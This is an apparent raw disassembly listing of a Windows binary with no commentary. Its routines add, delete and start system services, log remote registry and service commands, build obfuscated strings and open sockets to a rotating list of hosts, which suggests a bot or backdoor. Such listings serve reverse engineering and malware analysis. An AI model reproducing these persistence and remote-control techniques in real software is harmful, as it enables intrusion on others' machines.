push 2
push 20h
push 0F01FFh
mov ecx, offset dword_449844
call sub_4017EE
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017EE
push eax
push edi
call near ptr 2920000h
nop
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EF65
nop
call near ptr 27C08B7h
cmp eax, 431h
jnz short loc_40EF49
mov ecx, [esp+54h+var_44]
push ebp
call sub_401951
mov esi, dword_511754
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_4014A1
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EF49: ; CODE XREF: sub_40EE40+CBj
push edi
nop
call near ptr 292029Dh
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EF65: ; CODE XREF: sub_40EE40+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
call near ptr 292052Eh
nop
test eax, eax
push esi
mov esi, dword_511754
jnz short loc_40EFBC
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EFBC: ; CODE XREF: sub_40EE40+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj
; sub_40EE40+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40EE40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F060 proc near ; CODE XREF: sub_401951j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2910B29h
mov edi, eax
test edi, edi
jnz short loc_40F087
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F087: ; CODE XREF: sub_40F060+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 28B0466h
mov esi, eax
test esi, esi
jnz short loc_40F0B4
push edi
nop
call near ptr 292029Dh
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F0B4: ; CODE XREF: sub_40F060+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
call near ptr 2910591h
nop
push esi
call near ptr 2910970h
nop
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40F060 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F100 proc near ; CODE XREF: sub_401FD2j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2910B29h
mov esi, eax
test esi, esi
jnz short loc_40F11F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F11F: ; CODE XREF: sub_40F100+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push esi
nop
call near ptr 28B0466h
test eax, eax
jnz short loc_40F146
push esi
call near ptr 292029Dh
nop
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F146: ; CODE XREF: sub_40F100+37j
push edi
mov edi, dword_511754
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40F100 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F180 proc near ; CODE XREF: sub_401FFAj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2910B29h
nop
mov edi, eax
test edi, edi
jnz short loc_40F1A1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1A1: ; CODE XREF: sub_40F180+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 28B0466h
mov esi, eax
test esi, esi
jnz short loc_40F1CB
push edi
nop
call near ptr 292029Dh
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1CB: ; CODE XREF: sub_40F180+3Bj
push 0
push 0
push esi
call near ptr 2900C56h
nop
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40F180 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F210: ; CODE XREF: ___:loc_4014ABj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43A348
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F30A
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401730
test al, al
jz short loc_40F2D6
lea ecx, [esp+0Ch]
call sub_4017EE
push eax
lea ecx, [esp+28h]
call sub_4017EE
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
loc_40F2D6: ; CODE XREF: ___:0040F297j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F30A: ; CODE XREF: ___:0040F246j
lea ecx, [edi+47h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3A9
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401451
test al, al
jz short loc_40F382
lea ecx, [esp+24h]
call sub_4017EE
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_40F382: ; CODE XREF: ___:0040F34Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3A9: ; CODE XREF: ___:0040F31Cj
lea ecx, [edi+75h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F4BF
push 1
push offset asc_444600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402171
test al, al
jz short loc_40F47D
lea ecx, [esp+24h]
call sub_4017EE
push eax
lea ecx, [esp+10h]
call sub_4017EE
push eax
lea ecx, [esp+44h]
call sub_4017EE
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 20h
loc_40F47D: ; CODE XREF: ___:0040F434j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F4BF: ; CODE XREF: ___:0040F3BBj
lea ecx, [edi+0A3h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F561
push 1
push offset asc_444600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401951
test al, al
jz short loc_40F53A
lea ecx, [esp+54h]
call sub_4017EE
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_40F53A: ; CODE XREF: ___:0040F505j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F561: ; CODE XREF: ___:0040F4D4j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F660 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F6D0 proc near ; CODE XREF: sub_40169Fj
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E88
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_40142E
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_40142E
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401753
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401753
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401753
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401753
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401753
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401753
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401753
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401753
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401753
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401753
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401753
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401753
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401753
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401753
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_40172B
mov dword ptr [edi], offset off_43F034
mov bl, 11h
xor edi, edi
push offset byte_448F40
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43F028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015E1
nop
call near ptr 27E0CD2h
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017EE
push eax
push offset dword_4490CC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019C4
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017EE
push eax
push offset dword_4490D0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017EE
push eax
push offset dword_4490D4
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019C4
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017EE
push eax
push offset dword_4490D8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017EE
push eax
push offset dword_4490DC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017EE
push eax
push offset dword_4490E0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017EE
push eax
push offset dword_4490E4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017EE
push eax
push offset dword_4490E8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017EE
push eax
push offset dword_4490EC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017EE
push eax
push offset dword_4490F0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017EE
push eax
push offset dword_4490F4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017EE
push eax
push offset dword_4490F8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017EE
push eax
push offset dword_4490FC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017EE
push eax
push offset dword_449100
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017EE
push eax
push offset dword_449104
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017EE
push eax
push offset dword_449108
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017EE
push eax
push offset dword_44910C
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017EE
push eax
push offset dword_449110
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F6D0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C5
sub_40FE40 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FE58
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FE58: ; CODE XREF: ___:0040FE4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FE70 proc near ; CODE XREF: sub_4013C5j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FE70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F028
mov dword ptr [esi+11h], offset off_43F034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B68
sub_40FE70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_410030 proc near ; CODE XREF: sub_402149j
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43A8D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_40142E
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411400
loc_410072: ; CODE XREF: sub_410030+13CAj
mov al, byte_4E8E54
mov edi, dword_5118AC
cmp al, bl
jz loc_411400
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_41009A
cmp dword ptr [ebp+1Ch], 5
jg short loc_4100A4
cmp eax, ebx
jz loc_4101DE
loc_41009A: ; CODE XREF: sub_410030+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_4101DE
loc_4100A4: ; CODE XREF: sub_410030+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_4100B9
push eax
nop
call near ptr 71AB9639h
loc_4100B9: ; CODE XREF: sub_410030+80j
mov ecx, offset word_44AC6E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401541
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401983
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_4100E9
mov [ebp+20h], ebx
loc_4100E9: ; CODE XREF: sub_410030+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_4493FD
mov ecx, offset word_44ACE6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACE6
add eax, 1B6h
push eax
push offset dword_4493B4
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACE6
push edx
push offset dword_449290
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_449322
mov ecx, offset word_44ACE6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACE6
add eax, 0DBh
push eax
push offset byte_4492D9
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACE6
add edx, 92h
push edx
push offset byte_44936B
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_44948F
mov ecx, offset word_44ACE6
call sub_401F50
call edi
mov [ebp+24h], eax
loc_4101DE: ; CODE XREF: sub_410030+64j
; sub_410030+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410208
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2831CE8h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410208: ; CODE XREF: sub_410030+1B4j
cmp [ebp+15h], bl
jnz loc_410398
mov ax, word_44933C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
nop
call near ptr 71AB2B66h
mov ecx, offset byte_4492D9
mov [esp+24h+arg_1E], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
mov [esp+24h+arg_20], eax
call edi
